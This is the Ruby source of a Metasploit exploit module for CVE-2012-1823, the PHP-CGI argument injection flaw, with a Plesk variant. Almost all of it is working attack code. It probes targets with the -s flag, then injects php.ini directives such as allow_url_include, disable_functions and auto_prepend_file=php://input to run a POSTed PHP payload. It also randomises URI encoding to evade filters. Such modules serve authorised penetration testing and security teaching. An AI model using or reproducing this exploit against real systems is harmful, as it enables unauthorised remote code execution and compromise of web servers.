PHP CGI Argument Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PHP CGI Argument Injection',
        'Description' => %q{
          When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
          an argument injection vulnerability.  This module takes advantage of
          the -d flag to set php.ini directives to achieve code execution.

          From the advisory: "if there is NO unescaped '=' in the query string,
          the string is split on '+' (encoded space) characters, urldecoded,
          passed to a function that escapes shell metacharacters (the "encoded in
          a system-defined manner" from the RFC) and then passes them to the CGI
          binary." This module can also be used to exploit the plesk 0day disclosed
          by kingcope and exploited in the wild on June 2013.
        },
        'Author' => [
          'egypt', 'hdm', # original msf exploit
          'jjarmoc',      # added URI encoding obfuscation
          'kingcope',     # plesk poc
          'juan vazquez'  # add support for plesk exploitation
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-1823'],
          ['OSVDB', '81633'],
          ['OSVDB', '93979'],
          ['EDB', '25986'],
          ['URL', 'http://web.archive.org/web/20120503154724/http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/'],
          ['URL', 'http://kb.parallels.com/en/116241']
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space' => 262144 # 256k
        },
        'DisclosureDate' => '2012-05-03',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [false, 'The URI to request (must be a CGI-handled PHP script)']),
      OptInt.new('URIENCODING', [true, 'Level of URI URIENCODING and padding (0 for minimum)', 0]),
      OptBool.new('PLESK', [true, 'Exploit Plesk', false]),
    ])
  end

  # php-cgi -h
  # ...
  #   -s               Display colour syntax highlighted source.
  def check
    vprint_status("Checking uri #{uri}")

    response = send_request_raw({ 'uri' => uri })

    return CheckCode::Unknown('Connection failed.') unless response

    if response.code == 200 && response.body.to_s.lstrip =~ /^<code><span style/i && !datastore['PLESK']
      return CheckCode::Unknown('Server responded in a way that was ambiguous. Could not determine whether it was vulnerable.')
    end

    response = send_request_raw({ 'uri' => "#{uri}?#{create_arg('-s')}" })

    return CheckCode::Unknown('Connection failed.') unless response

    if response.code == 200 && response.body.to_s.lstrip =~ /^<code><span style/i
      return CheckCode::Vulnerable
    end

    if datastore['PLESK'] && response.code == 500
      return CheckCode::Appears('Server responded with HTTP 500 error')
    end

    CheckCode::Safe('Server responded indicating it was not vulnerable')
  end

  def uri
    if datastore['PLESK']
      normalize_uri('phppath', 'php')
    else
      normalize_uri(target_uri.path).gsub(/\?.*/, '')
    end
  end

  def uri_encoding_level
    if datastore['PLESK']
      return 0
    else
      return datastore['URIENCODING']
    end
  end

  def exploit
    args = [
      rand_spaces,
      create_arg('-d', "allow_url_include=#{rand_php_ini_true}"),
      create_arg('-d', "safe_mode=#{rand_php_ini_false}"),
      create_arg('-d', "suhosin.simulation=#{rand_php_ini_true}"),
      create_arg('-d', 'disable_functions=""'),
      create_arg('-d', 'open_basedir=none'),
      create_arg('-d', 'auto_prepend_file=php://input'),
      create_arg('-d', "cgi.force_redirect=#{rand_php_ini_false}"),
      create_arg('-d', 'cgi.redirect_status_env=0'),
      rand_opt_equiv('-n')
    ]

    qs = args.join

    # Has to be all on one line, so gsub out the comments and the newlines
    payload_oneline = '<?php ' + payload.encoded.gsub(/\s*#.*$/, '').gsub("\n", '')
    send_request_cgi({
      'method' => 'POST',
      'global' => true,
      'uri' => "#{uri}?#{qs}",
      'data' => payload_oneline
    }, 0.5)
  rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
    print_error('The target service is unreachable')
  rescue ::OpenSSL::SSL::SSLError
    print_error('The target failed to negotiate SSL, is this really an SSL service?')
  end

  def create_arg(arg, val = nil)
    if val
      val = rand_encode(val)
      val.gsub!('=', '%3d')   # = must always be encoded
      val.gsub!('"', '%22')   # " too
    end

    ret = ''
    ret << rand_spaces
    ret << rand_opt_equiv(arg)
    ret << rand_space
    ret << rand_spaces
    ret << val.to_s
    ret << rand_space
    ret
  end

  def rand_opt_equiv(opt)
    # Returns a random equivilant option from mapping at
    # http://www.php.net/manual/en/features.commandline.options.php
    opt_equivs = {
      '-d' => [
        "#{rand_dash}#{rand_encode('d')}",
        "#{rand_dash}#{rand_dash}#{rand_encode('define')}"
      ],
      '-s' => [
        "#{rand_dash}#{rand_encode('s')}",
        "#{rand_dash}#{rand_dash}#{rand_encode('syntax-highlight')}",
        "#{rand_dash}#{rand_dash}#{rand_encode('syntax-highlighting')}"
      ],
      '-T' => [
        "#{rand_dash}#{rand_encode('T')}",
        "#{rand_dash}#{rand_dash}#{rand_encode('timing')}"
      ],
      '-n' => [
        "#{rand_dash}#{rand_encode('n')}",
        "#{rand_dash}#{rand_dash}#{rand_encode('no-php-ini')}"
      ]
    }

    equivs = opt_equivs[opt]
    equivs ? equivs[rand(opt_equivs[opt].length)] : opt
  end

  def rand_encode(string, max = string.length)
    # Randomly URI encode characters from string, up to max times.
    chars = []

    if max > uri_encoding_level
      max = uri_encoding_level
    end

    if string.length == 1
      if rand(2) > 0
        chars << 0
      end
    elsif max > 0
      max.times { chars << rand(string.length) }
    end

    chars.uniq.sort.reverse.each { |index| string[index] = Rex::Text.uri_encode(string[index, 1], 'hex-noslashes') }
    string
  end

  def rand_spaces(num = uri_encoding_level)
    ret = ''
    num.times do
      ret << rand_space
    end
    ret
  end

  def rand_space
    uri_encoding_level > 0 ? ['%20', '%09', '+'][rand(3)] : '+'
  end

  def rand_dash
    uri_encoding_level > 0 ? ['-', '%2d', '%2D'][rand(3)] : '-'
  end

  def rand_php_ini_false
    Rex::Text.to_rand_case([ '0', 'off', 'false' ][rand(3)])
  end

  def rand_php_ini_true
    Rex::Text.to_rand_case([ '1', 'on', 'true' ][rand(3)])
  end
end